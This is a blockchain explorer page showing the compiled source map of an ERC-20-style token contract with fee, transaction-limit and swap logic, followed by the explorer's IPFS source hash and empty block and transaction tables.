;;;14542:64:0;;9084:2:1;14542:64:0;;;9066:21:1;9123:2;9103:18;;;9096:30;9162:34;9142:18;;;9135:62;-1:-1:-1;;;9213:18:1;;;9206:39;9262:19;;14542:64:0;8882:405:1;14542:64:0;-1:-1:-1;;;;;14621:20:0;;;;;;:9;:20;;;;;;;;;:41;;-1:-1:-1;;;;;;14645:17:0;;;;;;:9;:17;;;;;;;;14621:41;14618:100;;;14692:14;;14679:10;:27;14618:100;14762:10;;;;14761:11;:40;;;;-1:-1:-1;;;;;;14777:24:0;;;;;;:16;:24;;;;;;;;14776:25;14761:40;:86;;;;-1:-1:-1;;;;;;14820:27:0;;;;;;:16;:27;;;;;;;;14819:28;14761:86;14758:823;;;14900:12;;;;;;;14874:82;;;;-1:-1:-1;;;14874:82:0;;9494:2:1;14874:82:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:27;9552:18;;;9545:55;9617:18;;14874:82:0;9292:349:1;14874:82:0;15004:12;14993:8;;14975:15;;:26;;;;:::i;:::-;:41;14971:272;;;15053:10;;-1:-1:-1;;;;;15040:23:0;;;15053:10;;15040:23;15037:98;;-1:-1:-1;;;;;15088:20:0;;;;;;:9;:20;;;;;:27;;-1:-1:-1;;15088:27:0;15111:4;15088:27;;;15037:98;15149:10;;-1:-1:-1;;;;;15139:20:0;;;15149:10;;15139:20;15136:92;;-1:-1:-1;;;;;15184:17:0;;;;;;:9;:17;;;;;:24;;-1:-1:-1;;15184:24:0;15204:4;15184:24;;;15136:92;15294:12;;15284:6;:22;;15258:89;;;;-1:-1:-1;;;15258:89:0;;9848:2:1;15258:89:0;;;9830:21:1;9887:2;9867:18;;;9860:30;-1:-1:-1;;;9906:18:1;;;9899:52;9968:18;;15258:89:0;9646:346:1;15258:89:0;15378:10;;-1:-1:-1;;;;;15365:23:0;;;15378:10;;15365:23;15362:208;;15471:12;;15461:6;15438:20;15448:9;-1:-1:-1;;;;;8335:18:0;8308:7;8335:18;;;;;;;;;;;;8234:127;15438:20;:29;;;;:::i;:::-;:45;;15408:146;;;;-1:-1:-1;;;15408:146:0;;10199:2:1;15408:146:0;;;10181:21:1;10238:2;10218:18;;;10211:30;10277:28;10257:18;;;10250:56;10323:18;;15408:146:0;9997:350:1;15408:146:0;15638:10;;15602:21;;15638:10;;;:38;;-1:-1:-1;;;;;;15652:24:0;;;;;;:16;:24;;;;;;;;15638:38;:69;;;-1:-1:-1;;;;;;15680:27:0;;;;;;:16;:27;;;;;;;;15638:69;15634:418;;;-1:-1:-1;15740:1:0;15634:418;;;15799:10;;-1:-1:-1;;;;;15786:23:0;;;15799:10;;15786:23;:45;;;;-1:-1:-1;;;;;;15814:17:0;;;;;;:9;:17;;;;;;;;15813:18;15786:45;15783:258;;;15890:3;15877:10;;15868:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;15852:41;;15783:258;;;16010:3;15998:9;;15989:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;15973:40;;15783:258;16066:11;;;;:39;;;;-1:-1:-1;16095:10:0;;;;16094:11;16066:39;:73;;;;;16138:1;16122:13;:17;16066:73;:110;;;;-1:-1:-1;16166:10:0;;-1:-1:-1;;;;;16156:20:0;;;16166:10;;16156:20;;16066:110;16062:167;;;16204:13;:11;:13::i;:::-;16258:17;;16241:288;;16302:53;16318:6;16334:4;16341:13;16302:15;:53::i;:::-;16371:61;16387:6;16395:9;16406:25;:6;16417:13;16406:10;:25::i;:::-;16371:15;:61::i;:::-;16241:288;;;16475:42;16491:6;16499:9;16510:6;16475:15;:42::i;:::-;14531:2005;14443:2093;;;:::o;12507:173::-;12582:6;;;-1:-1:-1;;;;;12599:17:0;;;-1:-1:-1;;;;;;12599:17:0;;;;;;;12632:40;;12582:6;;;12599:17;12582:6;;12632:40;;12563:16;;12632:40;12552:128;12507:173;:::o;481:315::-;596:6;571:21;:31;;563:73;;;;-1:-1:-1;;;563:73:0;;10776:2:1;563:73:0;;;10758:21:1;10815:2;10795:18;;;10788:30;10854:31;10834:18;;;10827:59;10903:18;;563:73:0;10574:353:1;563:73:0;648:12;666:9;-1:-1:-1;;;;;666:14:0;688:6;666:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;647:52;;;718:7;710:78;;;;-1:-1:-1;;;710:78:0;;11344:2:1;710:78:0;;;11326:21:1;11383:2;11363:18;;;11356:30;11422:34;11402:18;;;11395:62;11493:28;11473:18;;;11466:56;11539:19;;710:78:0;11142:422:1;17409:419:0;17495:4;17451:23;8335:18;;;;;;;;;;;17535:11;;17516:30;;17512:309;;17594:21;17636:30;17650:15;17636:13;:30::i;:::-;17687:20;17710:38;17734:14;17710:21;:38;:::i;:::-;17773:9;;17687:61;;-1:-1:-1;17765:42:0;;-1:-1:-1;;;;;17773:9:0;17687:61;17765:28;:42::i;9736:544::-;-1:-1:-1;;;;;9842:20:0;;9834:70;;;;-1:-1:-1;;;9834:70:0;;11771:2:1;9834:70:0;;;11753:21:1;11810:2;11790:18;;;11783:30;11849:34;11829:18;;;11822:62;-1:-1:-1;;;11900:18:1;;;11893:35;11945:19;;9834:70:0;11569:401:1;9834:70:0;-1:-1:-1;;;;;9923:23:0;;9915:71;;;;-1:-1:-1;;;9915:71:0;;12177:2:1;9915:71:0;;;12159:21:1;12216:2;12196:18;;;12189:30;12255:34;12235:18;;;12228:62;-1:-1:-1;;;12306:18:1;;;12299:33;12349:19;;9915:71:0;11975:399:1;9915:71:0;-1:-1:-1;;;;;10023:17:0;;9999:21;10023:17;;;;;;;;;;;10059:23;;;;10051:74;;;;-1:-1:-1;;;10051:74:0;;12581:2:1;10051:74:0;;;12563:21:1;12620:2;12600:18;;;12593:30;12659:34;12639:18;;;12632:62;-1:-1:-1;;;12710:18:1;;;12703:36;12756:19;;10051:74:0;12379:402:1;10051:74:0;10156:22;10172:6;10156:13;:22;:::i;:::-;-1:-1:-1;;;;;10136:17:0;;;:9;:17;;;;;;;;;;;:42;;;;10189:20;;;;;;;;:30;;10213:6;;10136:9;10189:30;;10213:6;;10189:30;:::i;:::-;;;;;;;;10254:9;-1:-1:-1;;;;;10237:35:0;10246:6;-1:-1:-1;;;;;10237:35:0;;10265:6;10237:35;;;;1500:25:1;;1488:2;1473:18;;1354:177;10237:35:0;;;;;;;;9823:457;9736:544;;;:::o;1102:136::-;1160:7;1187:43;1191:1;1194;1187:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1180:50;1102:136;-1:-1:-1;;;1102:136:0:o;17836:491::-;17923:16;;;17937:1;17923:16;;;;;;;;17899:21;;17923:16;;;;;;;;;;-1:-1:-1;17923:16:0;17899:40;;17968:4;17950;17955:1;17950:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17950:23:0;;;:7;;;;;;;;;;:23;;;;17994:13;;:20;;;-1:-1:-1;;;17994:20:0;;;;:13;;;;;:18;;:20;;;;;17950:7;;17994:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17984:4;17989:1;17984:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17984:30:0;;;:7;;;;;;;;;:30;18057:13;;18025:60;;18042:4;;18057:13;18073:11;18025:8;:60::i;:::-;18124:13;;:195;;-1:-1:-1;;;18124:195:0;;-1:-1:-1;;;;;18124:13:0;;;;:64;;:195;;18203:11;;18124:13;;18246:4;;18273;;18293:15;;18124:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17888:439;17836:491;:::o;2149:181::-;2235:7;2271:12;2263:6;;;;2255:29;;;;-1:-1:-1;;;2255:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2286:9:0;2298:5;2302:1;2298;:5;:::i;:::-;2286:17;2149:181;-1:-1:-1;;;;;2149:181:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3696:180::-;3755:6;3808:2;3796:9;3787:7;3783:23;3779:32;3776:52;;;3824:1;3821;3814:12;3776:52;-1:-1:-1;3847:23:1;;3696:180;-1:-1:-1;3696:180:1:o;4312:388::-;4380:6;4388;4441:2;4429:9;4420:7;4416:23;4412:32;4409:52;;;4457:1;4454;4447:12;4409:52;4496:9;4483:23;4515:31;4540:5;4515:31;:::i;:::-;4565:5;-1:-1:-1;4622:2:1;4607:18;;4594:32;4635:33;4594:32;4635:33;:::i;:::-;4687:7;4677:17;;;4312:388;;;;;:::o;4705:380::-;4784:1;4780:12;;;;4827;;;4848:61;;4902:4;4894:6;4890:17;4880:27;;4848:61;4955:2;4947:6;4944:14;4924:18;4921:38;4918:161;;5001:10;4996:3;4992:20;4989:1;4982:31;5036:4;5033:1;5026:15;5064:4;5061:1;5054:15;4918:161;;4705:380;;;:::o;5499:127::-;5560:10;5555:3;5551:20;5548:1;5541:31;5591:4;5588:1;5581:15;5615:4;5612:1;5605:15;5631:128;5698:9;;;5719:11;;;5716:37;;;5733:18;;:::i;5764:125::-;5829:9;;;5850:10;;;5847:36;;;5863:18;;:::i;5894:356::-;6096:2;6078:21;;;6115:18;;;6108:30;6174:34;6169:2;6154:18;;6147:62;6241:2;6226:18;;5894:356::o;6255:127::-;6316:10;6311:3;6307:20;6304:1;6297:31;6347:4;6344:1;6337:15;6371:4;6368:1;6361:15;6387:135;6426:3;6447:17;;;6444:43;;6467:18;;:::i;:::-;-1:-1:-1;6514:1:1;6503:13;;6387:135::o;6527:168::-;6600:9;;;6631;;6648:15;;;6642:22;;6628:37;6618:71;;6669:18;;:::i;6979:277::-;7046:6;7099:2;7087:9;7078:7;7074:23;7070:32;7067:52;;;7115:1;7112;7105:12;7067:52;7147:9;7141:16;7200:5;7193:13;7186:21;7179:5;7176:32;7166:60;;7222:1;7219;7212:12;10352:217;10392:1;10418;10408:132;;10462:10;10457:3;10453:20;10450:1;10443:31;10497:4;10494:1;10487:15;10525:4;10522:1;10515:15;10408:132;-1:-1:-1;10554:9:1;;10352:217::o;12786:251::-;12856:6;12909:2;12897:9;12888:7;12884:23;12880:32;12877:52;;;12925:1;12922;12915:12;12877:52;12957:9;12951:16;12976:31;13001:5;12976:31;:::i;13042:980::-;13304:4;13352:3;13341:9;13337:19;13383:6;13372:9;13365:25;13409:2;13447:6;13442:2;13431:9;13427:18;13420:34;13490:3;13485:2;13474:9;13470:18;13463:31;13514:6;13549;13543:13;13580:6;13572;13565:22;13618:3;13607:9;13603:19;13596:26;;13657:2;13649:6;13645:15;13631:29;;13678:1;13688:195;13702:6;13699:1;13696:13;13688:195;;;13767:13;;-1:-1:-1;;;;;13763:39:1;13751:52;;13858:15;;;;13823:12;;;;13799:1;13717:9;13688:195;;;-1:-1:-1;;;;;;;13939:32:1;;;;13934:2;13919:18;;13912:60;-1:-1:-1;;;14003:3:1;13988:19;13981:35;13900:3;13042:980;-1:-1:-1;;;13042:980:1:o

Swarm Source

ipfs://f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c46

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.